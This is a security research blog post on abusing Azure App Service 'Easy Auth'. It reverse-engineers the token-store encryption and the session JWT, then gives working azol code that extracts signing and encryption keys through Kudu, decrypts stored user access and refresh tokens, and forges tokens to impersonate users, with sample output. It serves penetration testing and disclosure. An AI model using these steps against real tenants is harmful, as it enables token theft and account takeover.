TLDR;
- App Services and Functions can be configured to use Easy Auth for code-less authentication
- Easy Auth can be abused to elevate privileges via delegated permissions if an attacker has the right privileges
- In some scenarios, abuse of delegated permissions through Easy Auth could lead to account takeover, or cross-tenant user takeover
- This is likely a niche technique, and abuse requires several pre-conditions to be met.
Introduction
Abuse of apps with delegated permissions in Entra is often overlooked as a viable technique. This may be because application permissions are so easy to exploit when am app's secret is compromised that they get all the attention. However, in many instances, apps with delegated permissions can be an even more interesting target - these permissions essentially allow user impersonation at some limited scope.
One of the reasons delegated permissions often get ignored is that there is no standard way to find web apps that use them, and then extract secrets from those apps. However, with enough standardization and a bit of research, it is possible to identify pragmatic ways to abuse delegated permissions on an app. In this post, we will examine one way of abusing delegated permissions that are used by apps enabled with a feature called "Easy Auth".
Easy Auth is a feature for Azure App Services and Azure Functions. It is a popular feature for developers, as it makes the authentication and authorization logic in the application much more simple to implement. Usage of Easy Auth is often driven by security requirements. Standards such as the CIS Azure Compute Services Benchmark recommend that Easy Auth be configured on all App Services.
However, as is often the case, toggling Easy Auth to "on" doesn't necessarily make the application more secure. In fact, I would argue that it may introduce more security challenges than it solves in some cases.
"But if this is a security feature, shouldn't it make the application more secure?"
The answer to this question is a bit nuanced. As with most things in Azure, it seems to depend on implementation. In this blog post, we will take a look at how Easy Auth works, how you would abuse it to take over delegated permissions, and why I believe the CIS-style approach of "always enable App Service Authentication" is not only naive, but in some cases a dangerous requirement.
Background
Azure "Easy Auth" is a feature in Azure App Services and Azure Functions that enforces authentication on the application without writing a line of code. The feature forces unauthenticated users to log in via an identity provider prior to accessing the app.
The identity provider that is required for login is configurable by the user, with options including Google, Github, Facebook, and Entra. In this post, we will mostly look into using Entra as an Identity Provider, but the same principles explored apply to other providers.
When Easy Auth uses Entra ID as the identity provider, the Easy Auth configurations needs to specify the client id of a service principal in Entra, as well a scope of backend API permissions that the application should request on behalf of the user. In the GUI, this can be created automatically, or an existing service principal may be used.
One thing to note is the support for refresh tokens, where the offline_access scope is required. You can read more about this configuration here.
When an unauthenticated user visits the website, the user is redirected to the microsoft online login page to enter their credentials:
Once the user is authenticated, they are redirected back to the application, and are able to access the application.
Developing with Easy Auth
As a developer, Easy Auth makes the authentication logic quite simple. After the initial configuration, the developer can assume that any request is authenticated because the Easy Auth Middleware ensures it.
Authorization is still the responsibility of the developer. Each request will contain the following headers to identify the user(source):
- X-MS-CLIENT-PRINCIPAL
- X-MS-CLIENT-PRINCIPAL-ID
- X-MS-CLIENT-PRINCIPAL-NAME
- X-MS-CLIENT-PRINCIPAL-IDP
These claims represent the authenticated user, and authorization requires custom logic performed by the developer.
In many cases, an application may need to use the authenticated user's access to some backend API on behalf of the user. For example, an application might request a "https://graph.microsoft.com/User.Read" claim to read the current user's information from Microsoft Graph. If these scopes are configured in Easy Auth, the application will also receive the following headers, which include tokens for the user:
- X-MS-TOKEN-AAD-ID-TOKEN
- X-MS-TOKEN-AAD-ACCESS-TOKEN
- X-MS-TOKEN-AAD-EXPIRES-ON
- X-MS-TOKEN-AAD-REFRESH-TOKEN
These tokens are collected from a token store, which is managed by the Easy Auth Middleware(source). More on this later.
Finally, there are cases when a front-end application may need to access one of the above tokens on behalf of the user, for example to collect profile information about that user. This is also supported by the Easy Auth Middleware, by exposing several endpoints by default:
- https://mysite.azurewebsites.net/.auth/me: Returns access tokens, id tokens, and refresh tokens for the signed in user
- https://mysite.azurewebsites.net/.auth/refresh: Tell Easy Auth to refresh the user's token in the token store
Now that we have a good overview of what Easy Auth does for us and how developers interact with it, lets dive a bit deeper into how it works.
Easy Auth Internals
Before we are ready to abuse Easy Auth, we first need to understand two fundamental components: the token store, and the middleware.
Easy Auth Token Store
When Easy Auth is configured on an app service or function, the token store is an optional feature that allows the Easy Auth Middleware to cache OAuth tokens for the logged in user. Normally, if the web app needs to communicate with another API on behalf of the logged in user, the app would need to handle token caching internally. If a token is not cached, the app would require the user to complete a full login flow every time a backend API is called on behalf of the user, which is impractical.
The Easy Auth token cache simplifies this experience for the developers by implementing default logic for token caching. So, how does this work, and where are the tokens stored?
There are two options in Easy Auth configurations for the token cache:
By default, the local filesystem is used for caching tokens. After exploring in Kudu, these tokens were found in the directory C:\home\data\.auth\tokens on Windows-based app services, or in the directory /home/data/.auth/tokens in a Linux-based app service:
However, note that these tokens are encrypted, and cannot just be read off disk - we will come back to this in future sections.
As a quick recap - when a user logs into an app with Easy Auth enabled and a token store enabled, after completing the OAuth flow the application will save the user's tokens in an encrypted format at C:\home\data\.auth\tokens or /home/data/.auth/tokens for future use.
Easy Auth Middleware
The Easy Auth Middleware handles the user's authorization flow and orchestrates the caching of tokens in the token store. Now that we know what the token store is, how does the Easy Auth Middleware work, and interact with it?
The middleware performs two major operations for the application:
- Logging in the user via /.auth/login/aad
- Caching tokens and providing them to users via /.auth/me
The second operation requires some type of authenticated session for the user, which is mapped to that user's backend tokens. So how does this work?
1) Logging in
When a user logs in at https://mysite.azurewebsites.net/.auth/login/aad, the middleware kicks off an OAuth Authorization Code Flow by redirecting the user to login.microsoftonline.com with the login parameters specific in the Easy Auth configurations. The redirect_uri is by default set to https://mysite.azurewebsites.net/.auth/login/aad/callback, which must be registered on the Entra app reply URLs. Note that this can be updated in the easy auth configurations, and the user can be redirected to a new location using the query parameter post_login_redirect_uri as documented at https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-customize-sign-in-out#use-multiple-sign-in-providers.
When the auth code flow completes, it redirects the user to the easy auth middleware with an OAuth authorization code. The middleware exchanges the code for a token, saves the token in the token cache, and sets a new cookie for the user. The cookie is called "AppServiceAuthSession". It also returns the token back to the user's browser.
There are two ways that a user can now present their session to the Easy Auth Middleware: send the cookie that was set, or fetch a custom JWT token from the middleware using a POST request to /.auth/login/aad. This request must contain the "provider" tokens, or the Entra access and id tokens, documented here
When the middleware issues a new token, that token can be used in the X-ZUMO-AUTH header to authorize the user to the web app.
2) Caching tokens and providing them to users at /.auth/me
We know from earlier that when a token is cached, is is also encrypted. But how is it encrypted?
When exploring the App Service configurations after enabling Easy Auth, I found a few interesting environment variables:
- WEBSITE_AUTH_ENCRYPTION_KEY
- WEBSITE_AUTH_SIGNING_KEY
- MICROSOFT_PROVIDER_AUTHENTICATION_SECRET
The last on the list, MICROSOFT_PROVIDER_AUTHENTICATION_SECRET, contained the client secret for the App Object(app registration) created for Easy Auth. This is interesting, but wont help us with decrypting this token.
The signing key variable is also interesting, but we will come back to that one later, as it would be used to sign something instead of encrypt something... maybe you already have an idea where that is going.
The WEBSITE_AUTH_ENCRYPTION_KEY turns out to be the value that we need. After some guess work, it turns out that this is a 32 byte AES encrpytion key, and the first 16 bytes of the encrypted token are the initialization vector for AES in CBC mode. So we have everything we need to decrypt the tokens:
encrypted_token_payload=base64(hex(IV)+hex(AES256_CBC(payload=bytes(payload), IV=IV)))
Using the /.auth/me endpoint
When the /.auth/me endpoint is called, the contents of the token store for the signed in user are returned in plaintext to the caller. The app service has the decryption key in an environment variable, so the middleware can decrypt the token and return it in plaintext to the user.
However, how does the /.auth/me endpoint authenticate the user?
There are two methods discussed above: the cookie and the X-Zumo-Auth JWT token. Both of these tokens are created when the authorization code flow is complete, and the user is redirected back to the Easy Auth Middleware. The Easy Auth Middleware returns both the AppServiceAuthSession cookie as well as an "authenticationToken", which is what should be used for X-Zumo-Auth:
Cookie
Decrypting the cookie using the same AES key above did not yield any plaintext result that was human-readable. It is not clear how this cookie is built, or if it has anything to do with the AES key noted above. This could be worth more investigation, however it was not explored further due to the success at reverse engineering the X-Zumo-Auth JWT in the next section.
X-Zumo-Auth JWT
This token is different than the Identity Provider token that is returned from Entra, and the /.auth/me endpoint. When decoding the claims in the token, it is a simple token that includes the following contents:
{
"alg": "HS256",
"typ": "JWT"
}.{
"stable_sid": "sid:6163872da9a682bfd934eadf28613cc7",
"sub": "sid:a607798d6d7fc30e8c7d1f3ee42edbbd",
"idp": "aad",
"ver": "3",
"nbf": 1747752243,
"exp": 1747756506,
"iat": 1747752243,
"iss": "https://mysite.azurewebsites.net/",
"aud": "https://mysite.azurewebsites.net/"
}.[Signature]
This is a custom token that is signed by the Easy Auth Middleware itself, which you can infer based on the issuer (iss) field in the token above. Because of this, we can also assume that the signing key identified in the app configurations (WEBSITE_AUTH_SIGNING_KEY) can be used to sign these tokens.
To test this theory, we can try to construct a token for a logged in user, sign it with the key, and attempt to use it against the /.auth/me endpoint. To do this, we need to work out what each field in the token represents.
Most claims are standard - the issuer claims and audience claims are just the url of the site, and the "iat", "exp", and "nbf" claims represent the timestamp of token issuance, expiry, and earliest validity(not before/nbf).
The two claims that we need to understand to construct this JWT are the subject(Sub) and stable_sid claims.
At first glance, it is not clear what the subject (sub) and stable_sid claims in the token are. These are not the same values as the Object Id GUID of the Entra ID user, which is what would generally by used as a unique identifier for a user. In Entra, the best values for identifying a user uniquely are normally the user principal name and object id of that user, as they are globally unique, so it is likely that these claims are derived from one or both of those fields.
Instead of guessing for too long, an easier way to identify how this value is generated is to decompile the App Service middleware libraries, and read through the decompiled C# code to understand the logic.
We wont go into detail about how this is done here, but the code we are looking for can be found in the "AuthenticatedPrincipal" class:
The important lines here are below:
this.Name = principalName ?? principalId;
...
this.SecurityId = new Guid(ModuleUtils.ComputeMD5HashBytes(principalId)).ToString("N");
this.DeprecatedSecurityId = new Guid(ModuleUtils.ComputeMD5HashBytes(this.Name)).ToString("N");
So, based on this code we can tell that the stable_sid (securityId) is a C# GUID generated from an MD5 hash of the principal ID of the user. Note that the principal ID of the user is synonymous with the user's object ID in Entra, mentioned above.
the deprecatedSecurityId is based on a principalName, which would be the Entra User Principal Name.
In Python, these values can be constructed with the following code:
new_guid=uuid.UUID(bytes_le=hashlib.md5(user_object_id_string.encode()).digest()) new_guid.replace("-", "")
Putting it all together, we can create and sign a token on behalf of the Easy Auth Middleware to impersonate a user. We will an example in the following sections.
Abusing Easy Auth
With the technical background in the above sections, we have enough information to identify several ways to abuse Easy Auth. Lets take a quick summary of our capabilties based on what we learned:
- We can impersonate the Service Principal, because the client secret is available in App Service configs
- We can decrypt the token store contents using the AES key in the app service configs, allowing us to access refresh tokens and access tokens on behalf of the user
- We can forge bearer tokens for arbitrary users against the Easy Auth Middleware
So, what access would an attacker need for each, and when would an attacker use each capability?
0) Prerequisites: Reading App Service Environment Variables
All of these capabilities require the same initial access for the attacker: the ability to read App Service environment variables.
Gaining this level of access is a larger topic that we will continue with in later blog posts. However, to start with, these variables can be read with the Website Contributor Azure RBAC role, or with local code execution on the App Service. They can be found in both the environment variables of the process running in the App Service, or in the App Settings of the site through the ARM API.
1) Impersonating the Easy Auth service principal
The MICROSOFT_PROVIDER_AUTHENTICATION_SECRET environment variable contains a client secret for the Easy Auth Service principal. With that secret, an attacker can perform an OAuth2 Client Credential Grant flow to fetch an access token, and assume its identity.
The impact of this depends on what permissions the service principal has on different apps, and what application permissions are granted to the principal.
Most likely, the service principal will not have any abusable permissions. However, it is not uncommon to find service principals that have unnecessary consents for Graph permissions, or unnecessary Azure RBAC roles assigned. This often happens by accident, and as configuration mistakes.
If the service principal has any "write" API permissions consented against Microsoft Graph API, for example, there may be opportunity to abuse this access for privilege escalation. This is outside of the scope of this article, but plenty of resources can be found online about this type of privilege escalation.
2) Decrypting tokens in the token store to abuse delegated permissions
The token store is a goldmine, as it contains the access tokens and refresh tokens for any user with a session against the web app. After decrypting the tokens in the store, an attacker can replay those tokens against whatever backend API they are issued for.
This provides a unique opportunity for an adversary to abuse delegated permissions on a service principal, because it is not normally trivial to extract tokens when an app has delegated permissions against a backend API. Normally, these tokens are stored in memory on the application, and it is not always obvious which App Services contain tokens with delegated permissions. When Easy Auth is used, app services, service principals and the delegated permissions they request can all be programmatically identified via the ARM API.
However, much like impersonating the service principal itself, the impact of a stolen token depends on what resource the token is issued for, what scopes the token contains, and what permissions the user has against the backend API. Examples of very sensitive resources include https://management.azure.com and https://graph.microsoft.com. Depending on the user's permissions, tokens issued for these APIs could be used to move laterally within Azure or escalate privileges via the Graph API.
Another thing to note about this store is that it may contain refresh tokens if the offline_access scope is requested during authorization. If this is the case, the refresh token may also be used for persistence, as it can be used to create new access tokens.
3) Forging Bearer tokens against Easy Auth to abuse delegated permissions
While the token store is a goldmine, it may not always be accessible to an attacker. For example, network controls in Azure may prevent a user from connecting to the App Service's filesystem via Kudu, or accessing a storage account where the token is stored.
In these cases, it is just as easy to forge a new X-ZUMO_AUTH token against the application, and use it to fetch the application's backend tokens by calling the /.auth/me endpoint.
The impact is the same as extracting tokens via the token store - it depends on the permissions the user has, and what permissions the app is consented to.
In addition, this method allows an attacker to impersonate any arbitrary user on the application. Depending on the importance of the application, this may be desirable.
Scaling the abuse techniques
The most unique property of these abuse techniques is the way it provides an automated, scalable way for an adversary to identify and extract access tokens with delegated permissions for backend APIs. These tokens provide access to those APIs on behalf of a user, instead of the service principal itself. This means that it is essentially an account takeover of that user, at some limited scope.
To my knowledge, this is the only technique that results in user token theft documented outside of phishing techniques like illicit consent grant attacks, device code phishing and AITM attacks.
For a pentester in an Azure environment, it is important to be able to automate the discovery and exploitatin of these configurations. In this case, we can follow a simple algorithm to perform that discovery and token extraction:
for each app or function:
if easy auth is enabled and the token store is enabled:
get the client secret app setting value
get the signing key app setting value
get the encryption key app setting value
get the token store location
download token store contents using Kudu or Storage Account APIs
decrypt the token store contents using the encryption key
outputs:
- authenticated users from store
- tokens from store
- token scopes
- app service or function name
- signing key
Following this, the tokens can be used directly against backend APIs, or the attacker can use the signing key to impersonate a user on the application.
Automating token extraction
As part of this research, several methods were added to azol to assist with finding targets and abusing them. Some of these methods include:
- ArmClient.get_functions_with_easy_auth()
- ArmClient.get_app_services_with_easy_auth()
- KuduClient.get_env_variables()
- decrypt_easy_auth_token(encrypted_b64_data, hex_key)
- get_easy_auth_user_tokens(zumo_token, site_url)
- create_signed_easy_auth_token(site_url, signing_key_hex, user_object_id, user_principal_name, valid_days=7, idp="aad")
Lets see how these would be used to download and decrypt user tokens from an app service:
First, the following code will find all app services with easy auth enabled:
from azol import *
from pprint import pprint
cred=User("phisheduser@badtenant.cloud")
arm_client=ArmClient(cred=cred)
# Get all apps with easy auth enabled
easy_auth_apps=arm_client.get_app_services_with_easy_auth()
# Get all functions with easy auth enabled
easy_auth_functions = arm_client.get_functions_with_easy_auth()
apps_and_functions = easy_auth_apps + easy_auth_functions
for app in apps_and_functions:
print("found easy auth app: ")
print("resource_id: " + app.id)
print("app hostnames: ", app.properties["enabledHostNames"])
Output:
found easy auth app:
resource_id: /subscriptions/0bb84e74-7330-4160-a129-a42a47b75558/resourceGroups/supereasyauth/providers/Microsoft.Web/sites/supereasyauthwapp
app hostnames: ['supereasyauthwapp-b6dhadaad6c5bxf4.northeurope-01.azurewebsites.net', 'supereasyauthwapp-b6dhadaad6c5bxf4.scm.northeurope-01.azurewebsites.net']
Environment variables can be gathered from the app in several ways. Note that these are not the app settings environment variables, they are variables internal to the app service. There are several methods to extract these, but the easiest is with Kudu:
kudu_client=KuduClient(cred=cred, scm_url="https://supereasyauthwapp-b6dhadaad6c5bxf4.scm.northeurope-01.azurewebsites.net")
env_vars = kudu_client.get_env_variables()
signing_key=env_vars["WEBSITE_AUTH_SIGNING_KEY"]
encryption_key=env_vars["WEBSITE_AUTH_ENCRYPTION_KEY"]
client_secret=env_vars["MICROSOFT_PROVIDER_AUTHENTICATION_SECRET"]
client_id=env_vars["WEBSITE_AUTH_CLIENT_ID"]
print("Easy Auth App Secrets:")
print(f"client_id: {client_id}, client_secret: {client_secret}, encryption_key={encryption_key}, signing_key={signing_key}")
Output:
Easy Auth App Secrets:
client_id: e5984ec0-f677-42ba-8121-c7eabe3c0523, client_secret: 5WC8Q~o-4...redacted...TsGfcOQ, encryption_key=DA7EA1AA7EF5F5...redacted...E4887F4BD0EB0B16171091A733F4325D3, signing_key=9A3DD4C20...redacted...16536441040A53AF0998D9896C72385B0
With these values, we have what we need to decrypt the tokens. First, we can use the kuduclient to download all tokens from the token store:
import json
for app in apps_and_functions:
directory_contents=kudu_client.ls("/data/.auth/tokens")
tokens=[]
for file_metadata in directory_contents:
file_contents=kudu_client.get_file("/data/.auth/tokens/" + file_metadata["name"])
token_json=json.loads(file_contents)
encrypted_token=token_json["tokens"]["aad"]
tokens.append(encrypted_token)
print(f"Extracted the following encrypted tokens from {app.id}: ")
for token in tokens:
print(token)
Output:
Extracted the following encrypted tokens from /subscriptions/0bb84e74-7330-4160-a129-a42a47b75558/resourceGroups/supereasyauth/providers/Microsoft.Web/sites/supereasyauthwapp:
pMHApM8KRJAvkSOu6HTYCAA/Tx/Q9oi8riCAtW2LhOy3V66KZq2bPUkWr+5vpfGM58vb8oS+gdtRfixhUoqDmR/LJU/ZS...redacted for brevity
MDxRtIeLX/afveQnpiSQAtdqSX1yKd0TP1zkiZk9Wytodh8G0s7P9G75BvSJQ0E6xRevllubFHW78BGbB/iy0KuMTbyk5...redacted for brevity
EvGZ2DBIBtE3xElvhIDxbvDZkqgKxhiz/TYMF490L98i89hPw5J1BnedLfAPs9Fl0JMWM1GXCxmaFFmba91ntGdmkz4aU...redacted for brevity
Now that we have the tokens and their encryption keys, we can individually decrypt each, using the new azol "decrypt_easy_auth_token" method:
encrypted_token="pMHApM8KRJAvkSOu6HTYCAA/Tx/Q9oi8riCAtW2LhOy3V66KZq2bPUkWr+5vpfGM58vb8oS+gdtRfixhUoqDmR/LJU/ZSIRSx78GbhKhQnspBPbeI+e2QccNBGBnmxqcrZHCZkZ+E4KS34XC79HisDoCX75NOw4/kjlR3GJeVvpMXZ5CYMFxfSAp3tZJVvBsy4UT5fH92pqmCydq0kSnDCneaOE2S/YrTyT70wMY+usDLLNfKHKHq3c7rwUHqCeLi4VT312FRB7ihMwdQV95e3z7yeHO4O4T7kNfz+mLPEZdX2xgZLCheGk4VfdqA05X8ym44CElj/cSu7swcKUCMyXNK03VawUGWZBBdMjteKzWqXCLmwAIQeW8QfyoVtq+QkevfgBNVY1UC5FpNtywOhTLWUsaY5d0z0yYEA9hoY/UhjefSxUD48sdiSa9E7jsxXdwxvl2XBvpA2DlQqxWmroMFwMW9LxknBKNUyhcCiPMW9RP2O3G04p61y3m9PWxmank+FCn+bgty129p7RrtJNlUlUK1m9wz3kWGErnIDVluUQFnDIXAtN0foWUP1yXiWUBkW5tUJRgVy4r/Oy2z++0AuA2A4gGd5Ye7RGyRgz6UwIGU4lvZ4eTzWTv0nypFBaJrlEui/+I+//FLX0G5xzrLtYMBV1zwu1G3VFVUDCD0v4mebKjiZFp3D4nn4PtAylyt8K3d+bYNxCSTxKxpJ3H/VBECYa9pEb3czz6VVXXJnJyL7wCvV019ha75aW9FANr79RYTxlKK3kHeXtZ9Q94Ian3MycRiRamaarluVAprB3fmmvuTbzG8taCios/iByZDolIY+Br1+eixr1Ghq8hLI+8nNXFUVpESWZLqwKb+HBe9Z/4mXWnFGZdVqrhGwehHi11moLtxlObX/BusZ8B+xoJcOvlqcXbwITcvwEp4QV7n2LknKWNOoIWhifgPRSzlhw6aUtdP6krN5D31QHe+3rPcBeM1/5aCFiJpQ3lFdtKdbuS7ikisCHI3fRcxUQJsKv6xKZo9EhH/oeBhLg6i3N05Pdi73FsRjdDX0bCvp4onFWuT1xfPbi7PqXO+d+L9VnUBO49WJTkS9LVYCOlUfdCfnbKzcnsPfGU04sYjPurETQ7rT+Rd7tpk6s0pkOx419DG9pGX9lHwYw2SHWTEM50xTRauNGeG3IBCmSX8Vk02ZOZE7iAka+JVdJqhVz3wjbULHVq6Su3K3+vaVEkDYDJOsXfN/3k/...redacted for brevity+Qad3BsKvaSmX3NpaERnDBz+ssBDSDhQ4IOg4jdloiWjmE="
encryption_key="DA7EA1AA...redacted...33F4325D3"
token_dict=decrypt_easy_auth_token(encrypted_token, encryption_key)
print(token_dict["access_token"])
Output:
{'access_token': 'eyJ0eXAiOiJKV1QiLCJub25jZSI6IjNfLThmYVRsdGVHaTdQSjNKcFh3WDdDOVljRDBwU0E3YzlCenlreXhuc1EiLCJhbGciOiJSUzI1NiIsIng1dCI6IkNOdjBPSTNSd3FsSEZFVm5hb01Bc2hDSDJYRSIsImtpZCI6IkNOdjBPSTNSd3FsSEZFVm5hb01Bc2hDSDJYRSJ9.eyJhdWQiOiIwMDAwMDAwMy0wMDAwLTAwMDAtYzAwMC0wMDAwMDAwMDAwMDAiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9iZTY4ZDNkMC0xNDFiLTRiM2QtYjE4ZC00ZGRiZTg4MThjZjIvIiwiaWF0IjoxNzQ3OTQzMjk4LCJuYmYiOjE3NDc5NDMyOTgsImV4cCI6MTc0Nzk0ODgzOCwiYWNjdCI6MCwiYWNyIjoiMSIsImFpbyI6IkFYUUFpLzhaQUFBQTF2YVUyR2RXb0pTOTdvQ0xWYThCa3lSU3FmY2dXWFU2eXkzMFVXdFhFd0N5RGswWlRySTZHMmRCWW50VnlWLytpdFpDcGV2TXUrQXMzZll3ZFdrVzlBM3NrQktBYS9YRDNwcnpOb05ndmlkQ0toOFVkNCtlZ002TWQ1cG4wbDZIdjZEL0s5TG1wQXp2WWxiUS94Tk5Tdz09IiwiYW1yIjpbInB3ZCJdLCJhcHBfZGlzcGxheW5hbWUiOiJFYXN5QXV0aFdlYkFwcERlbW8iLCJhcHBpZCI6ImU1OTg0ZWMwLWY2NzctNDJiYS04MTIxLWM3ZWFiZTNjMDUyMyIsImFwcGlkYWNyIjoiMSIsImdpdmVuX25hbWUiOiJMYXJyeSIsImlkdHlwIjoidXNlciIsImlwYWRkciI6IjIxMy41Mi41NS4yNTEiLCJuYW1lIjoiTGFycnkiLCJvaWQiOiIyN2JlNzY5MC1hZWI3LTQ2OGItOThkMi1lM2IyMGI0ZGM3ODYiLCJwbGF0ZiI6IjMiLCJwdWlkIjoiMTAwMzIwMDRBNzU2QkQ0OCIsInJoIjoiMS5BWUlBME5Ob3Zoc1VQVXV4alUzYjZJR004Z01BQUFBQUFBQUF3QUFBQUFBQUFBQ1ZBREtDQUEuIiwic2NwIjoiQXBwbGljYXRpb24uUmVhZFdyaXRlLkFsbCBEaXJlY3RvcnkuQWNjZXNzQXNVc2VyLkFsbCBVc2VyLlJlYWQgcHJvZmlsZSBvcGVuaWQgZW1haWwiLCJzaWQiOiIwMDRmYWU4OS05ZThhLTg0YTUtMzA4MC1mNTMzNTlmODgwMDQiLCJzdWIiOiI4QWhfUkp1aWZLX01IVDBUNTYtczN5enRjTFVObzJJcmU1QXI5S3lwT0hnIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkVVIiwidGlkIjoiYmU2OGQzZDAtMTQxYi00YjNkLWIxOGQtNGRkYmU4ODE4Y2YyIiwidW5pcXVlX25hbWUiOiJsYXJyeUBiYWR0ZW5hbnQuY2xvdWQiLCJ1cG4iOiJsYXJyeUBiYWR0ZW5hbnQuY2xvdWQiLCJ1dGkiOiIzRzBIQmVSQmRrT2MxRFpTcjZzRkFBIiwidmVyIjoiMS4wIiwid2lkcyI6WyI5Yjg5NWQ5Mi0yY2QzLTQ0YzctOWQwMi1hNmFjMmQ1ZWE1YzMiLCJiNzlmYmY0ZC0zZWY5LTQ2ODktODE0My03NmIxOTRlODU1MDkiXSwieG1zX2Z0ZCI6IlF6S3N6SEh5bXUyVnI5SlhJMXh5U1EzckdTVlpGLUJ5ZDZTRENyLUtpTUFCWlhWeWIzQmxkMlZ6ZEMxa2MyMXoiLCJ4bXNfaWRyZWwiOiIxIDE0IiwieG1zX3N0Ijp7InN1YiI6Ii10VVh5SW9EUElvMUQwMkFaTHJMZzkzekRMdzlXOXBndmFkVXB0T2ZBZ1EifSwieG1zX3RjZHQiOjE2NjMwOTQzMTEsInhtc190ZGJyIjoiRVUifQ.redacted', 'expires_on': '2025-05-22T21:20:38.0908807Z', 'id_token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IkNOdjBPSTNSd3FsSEZFVm5hb01Bc2hDSDJYRSJ9.eyJhdWQiOiJlNTk4NGVjMC1mNjc3LTQyYmEtODEyMS1jN2VhYmUzYzA1MjMiLCJpc3MiOiJodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vYmU2OGQzZDAtMTQxYi00YjNkLWIxOGQtNGRkYmU4ODE4Y2YyL3YyLjAiLCJpYXQiOjE3NDc5NDMyOTgsIm5iZiI6MTc0Nzk0MzI5OCwiZXhwIjoxNzQ3OTQ3MTk4LCJhaW8iOiJBWVFBZS84WkFBQUE5enBqTTZEY0l2ZzFoazV0T1F5NDJleFd1eWF4am05K0ZoNFNDME1rcUFpdm1hcnNMV1JXS2FpQ2Rqcm54T21MOXlDYytqTHN2L3JRSDlVVmZ6a3JTM0dCaC9EVllYejd3cXU1TUhzOWQ5U2Y3QUcraHlMOTZyQjZBY0NCOG1XcWZGckluRFNOaG8yY1l3T2N5WTVJdkJ4WjNOVUJZQW93aVBsU2tCb1JxZTQ9IiwibmFtZSI6IkxhcnJ5Iiwibm9uY2UiOiJjMjBlZTNmNjE3ZjM0YzEyYjAxYTIwZWY3OGY2YWI3Nl8yMDI1MDUyMjE5NTgxNyIsIm9pZCI6IjI3YmU3NjkwLWFlYjctNDY4Yi05OGQyLWUzYjIwYjRkYzc4NiIsInByZWZlcnJlZF91c2VybmFtZSI6ImxhcnJ5QGJhZHRlbmFudC5jbG91ZCIsInJoIjoiMS5BWUlBME5Ob3Zoc1VQVXV4alUzYjZJR004c0JPbU9WMzlycENnU0hINnI0OEJTT1ZBREtDQUEuIiwic2lkIjoiMDA0ZmFlODktOWU4YS04NGE1LTMwODAtZjUzMzU5Zjg4MDA0Iiwic3ViIjoiLXRVWHlJb0RQSW8xRDAyQVpMckxnOTN6REx3OVc5cGd2YWRVcHRPZkFnUSIsInRpZCI6ImJlNjhkM2QwLTE0MWItNGIzZC1iMThkLTRkZGJlODgxOGNmMiIsInV0aSI6IjNHMEhCZVJCZGtPYzFEWlNyNnNGQUEiLCJ2ZXIiOiIyLjAifQ.redacted', 'provider_name': 'aad', 'user_claims': [{'typ': 'aud', 'val': 'e5984ec0-f677-42ba-8121-c7eabe3c0523'}, {'typ': 'iss', 'val': 'https://login.microsoftonline.com/be68d3d0-141b-4b3d-b18d-4ddbe8818cf2/v2.0'}, {'typ': 'iat', 'val': '1747943298'}, {'typ': 'nbf', 'val': '1747943298'}, {'typ': 'exp', 'val': '1747947198'}, {'typ': 'aio', 'val': 'AVQAq/8ZAAAAfGOGpZ7jBNrCFCS4hdZbOk2XYG+6BOroyxbiGOPCkw4I0MrPJTH3gdPGOeYgeA2/Vb0vUJCYTinZYku6lqHssYO7WwMJBwFfGDB8kjKT04I='}, {'typ': 'c_hash', 'val': 'e0GvT-jcH8YPrBgWulrPkw'}, {'typ': 'name', 'val': 'Larry'}, {'typ': 'nonce', 'val': 'c20ee3f617f34c12b01a20ef78f6ab76_20250522195817'}, {'typ': 'http://schemas.microsoft.com/identity/claims/objectidentifier', 'val': '27be7690-aeb7-468b-98d2-e3b20b4dc786'}, {'typ': 'preferred_username', 'val': 'larry@badtenant.cloud'}, {'typ': 'rh', 'val': '1.Aa4A0NNovhsUPUuxjU3b6IGM8sBOmOV39rpCgSHH6r48BSOVADKuAA.'}, {'typ': 'sid', 'val': '004fae89-9e8a-84a5-3080-f53359f88004'}, {'typ': 'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier', 'val': '-tUXyIoDPIo1D02AZLrLg93zDLw9W9pgvadUptOfAgQ'}, {'typ': 'http://schemas.microsoft.com/identity/claims/tenantid', 'val': 'be68d3d0-141b-4b3d-b18d-4ddbe8818cf2'}, {'typ': 'uti', 'val': 'Nxf4qvhuWEa5S5Z4NWVOAA'}, {'typ': 'ver', 'val': '2.0'}], 'user_id': 'Larry'}
In shorter form, we can find, download, and extract a token from a specific app service as follows:
How would an attacker abuse a stolen token?
The tokens that are stored in the Easy Auth token store represent the end user, not the easy auth-enabled application itself. These permissions are used by the application to access resouces on behalf of the user - hence the term "delegated".
This means that these tokens arent so different than the tokens you get when you phish a user. They can be used to perform authenticated actions using that user's permissions. However, the actions that can be performed depend on the scopes that the token was issued for, the permissions the user actually has, and the resource that the token was issued for.
There are too many potential ways to abuse user tokens to cover here, but a classic example would be the abuse of tokens issued for the graph API. Some scopes, such as "RoleManagement.ReadWrite.Directory" can be used to create new Global Administrators - so if a privileged user has logged in to an Easy Auth-enabled app, and the app has a privileged scope consented on graph, that user's token could be used to take over the entire tenant.
In addition, note that easy auth can allow users from other tenants and other clients to log in. This means that there may be multi-tenant user tokens in the token store, which could lead to a multi-tenant account takeover.
All of this depends on what permissions are consented and assigned to the Easy Auth Entra App. In reality, this technique is likely quite niche, but is very effective if an environment is vulnerable to it.
Reflections on the security of Easy Auth
So, since it can be abused, is Easy Auth insecure?
I would say no, with some caveats. Overall, I think Easy Auth can be very helpful when used for small-scale projects and apps that do not have any complex authorization requirements. The impact of the techniques highlighted in this blog post may look alarming, but they are the consequence of application design rather than Easy Auth. Easy Auth just provides standardization, and standardization makes it easier to abuse these types of designs at scale.
The token store is a necessity for confidential clients. No matter how this cache is managed, there will always be a way to extract its contents if you have enough privileges on the Web App or Function, so that is simply a design weakness instead of a vulnerability in Easy Auth.
However, there are some things I would reconsider implementing with Easy Auth. If an application needs backend API access to privileged Graph API permissions, such as application.readwrite.all, for example, I wouldnt implement it with Easy Auth.
This is not because of the token store - it is because of the /.auth/me endpoint. One architectural issue I have with Easy Auth is that it is implemented as a confidential OAuth2 client, but still returns that confidential client's tokens back to the end user via the /.auth/me endpoint.
